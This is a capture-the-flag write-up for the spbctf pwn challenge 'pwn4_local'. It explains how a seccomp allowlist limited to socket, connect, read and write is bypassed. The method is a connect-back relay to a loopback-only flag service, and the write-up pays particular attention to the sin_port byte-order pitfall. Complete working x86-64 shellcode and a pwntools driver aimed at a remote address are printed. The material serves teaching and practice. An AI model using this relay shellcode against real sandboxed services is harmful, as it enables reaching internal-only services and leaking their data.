pwn4_local
pwn4_local
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: connect_back_shellcode, diagnostic_return_value_stub, network_byte_order_port, seccomp_allowlist_relay, sockaddr_in_construction
Summary
Task: x86-64 PIE shellcode challenge whose seccomp allowlist permits only socket/connect/read/write/close/exit_group, with the flag served by a loopback-only service on 127.0.0.1:31337. Solution: write a 103-byte connect-back relay shellcode that opens a TCP socket to 127.0.0.1:31337 and pipes the service output to stdout; the key pitfall is storing sin_port in network byte order (bytes 7A 69, not 69 7A).
pwn4_local — pwn_spbctf
Description
localhost:31337. Ты знаешь, что делать...
(English: "localhost:31337. You know what to do...")
Pwn tier 4 ("shellcoding"), author Mikhail Kolesov (@crazylazyowl).
Remote: nc 109.233.56.90 11666. We are given local.elf, an x86-64 PIE
binary that reads raw shellcode and jumps to it under a seccomp allowlist.
The flag is not in a local file — it is served by a separate process
listening only on the loopback interface at 127.0.0.1:31337. The goal is to
reach that loopback service from inside the sandbox.
Analysis
main (@0x11c5) does:
-
memseta buffer. -
alarm(5)— a single fast connection is required (no slow interactive probing; the whole exploit must finish within 5 seconds). -
setvbufx2 on stdin/stdout. -
Install a seccomp allowlist via
seccomp_init+seccomp_rule_add(ctx, SCMP_ACT_ALLOW=0x7fff0000, NR, 0)per syscall +seccomp_load. The only allowed syscalls are:NR (hex) NR (dec) syscall 0x29 41 socket0x2a 42 connect0x00 0 read0x01 1 write0x03 3 close0xe7 231 exit_group
Notably absent: open, openat, execve, dup/dup2. So we cannot
open a file, cannot pop a shell, and cannot dup the listening socket onto
our fd to abuse the inherited connection.
printf(prompt), thenread(0, buf[rbp-0x410], 0x400)andcall buf— our shellcode (≤ 0x400 bytes, any byte values allowed, no null/newline restriction) runs directly.
The allowlist socket + connect + read + write is the whole hint: this
is a connect-back / port-relay primitive. The flag service is loopback-only,
unreachable from the outside, but the sandboxed process can open its own TCP
socket to 127.0.0.1:31337, read the flag the service emits on connect, and
relay it back to us on stdout (fd 1).
Solution
Shellcode plan (x86-64):
socket(AF_INET=2, SOCK_STREAM=1, 0)→ sockfd (nr=41). Save inr12.- Build a
sockaddr_inon the stack:sin_family = 2(AF_INET), little-endian bytes02 00sin_port= port 31337 = 0x7A69 in network/big-endian byte order, so the bytes in memory must be7A 69sin_addr= 127.0.0.1 =7F 00 00 01- First 8 bytes in memory:
02 00 | 7A 69 | 7F 00 00 01, which as a little-endian qword topushis0x0100007f697a0002. (Reading that qword's bytes low→high gives02 00 7a 69 7f 00 00 01— note7a 69, the network order.) - Then push 8 zero bytes for
sin_zero.
connect(sockfd, &sockaddr, 16)(nr=42).- Relay loop:
read(sockfd, buf, n)thenwrite(1, buf, ret), until read returns ≤ 0; finallyexit_group(0). The service pushes the flag immediately on connect — no request line / newline needs to be sent.
The critical pitfall: sin_port byte order
The first attempt stored the port as the qword 0x0100007f7a690002, i.e. the
in-memory port bytes 69 7A. That is the host-order integer htons(31337) = 0x697A written naively, but what must physically sit in the sin_port field
is the network byte order sequence 7A 69. With 69 7A, connect
returned -111 (ECONNREFUSED) because the kernel tried to reach port
0x697A = 27002 instead of 0x7A69 = 31337.
The fastest way this was pinpointed: a diagnostic shellcode (sc_dbg.asm)
that prints markers A/C/R after socket/connect/read and dumps the
8-byte return value of connect and read to stdout. Seeing the connect
return value print as -111 immediately distinguished "connection refused"
(wrong port/addr) from a malformed sockaddr (which would give -22 EINVAL),
collapsing the whole debugging space to one fact: fix the port endianness.
Correcting the qword to 0x0100007f697a0002 (in-memory bytes 7A 69) made
connect succeed and the flag streamed straight back.
Working shellcode (sc.asm, 103 bytes)
asm read-only • copy allowedBITS 64 default rel ; sockfd = socket(AF_INET=2, SOCK_STREAM=1, 0) xor edx, edx push 1 pop rsi push 2 pop rdi push 41 pop rax syscall mov r12, rax ; sockfd ; build sockaddr_in: family=2, port (net order 7A 69), addr=127.0.0.1 xor rdx, rdx push rdx ; sin_zero (8 bytes) mov rbx, 0x0100007f697a0002 ; in-memory: 02 00 | 7A 69 | 7F 00 00 01 push rbx mov rsi, rsp ; &sockaddr ; connect(sockfd, &sockaddr, 16) mov rdi, r12 push 16 pop rdx push 42 pop rax syscall ; reserve a buffer well away from stack/shellcode sub rsp, 0x800 mov r13, rsp ; buffer ptr read_loop: mov rdi, r12 mov rsi, r13 mov rdx, 0x200 xor eax, eax ; read syscall test rax, rax jle done ; write(1, buf, rax) mov rdx, rax mov rdi, 1 mov rsi, r13 push 1 pop rax syscall jmp read_loop done: xor edi, edi push 231 pop rax syscall
Driver (exp_local.py)
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import re HOST, PORT = '109.233.56.90', 11666 sc = open('sc.bin', 'rb').read() # 103 bytes log.info("shellcode len = %d", len(sc)) io = remote(HOST, PORT) try: io.recv(timeout=3) # prompt except Exception: pass io.send(sc) data = io.recvall(timeout=10) io.close() print(data.decode(errors='replace')) m = re.search(rb'spbctf\{[^}]*\}', data) print("FLAG:", m.group(0).decode() if m else "not found")
Implementation note (reusable)
The solving host was arm64 macOS. Do not assemble the x86-64 payload with
pwntools asm() there (it targets the host arch / needs a cross toolchain that
may be missing). Assemble the x86-64 shellcode with nasm (or keystone)
directly to a .bin and feed the raw bytes — this avoids architecture
mismatches entirely.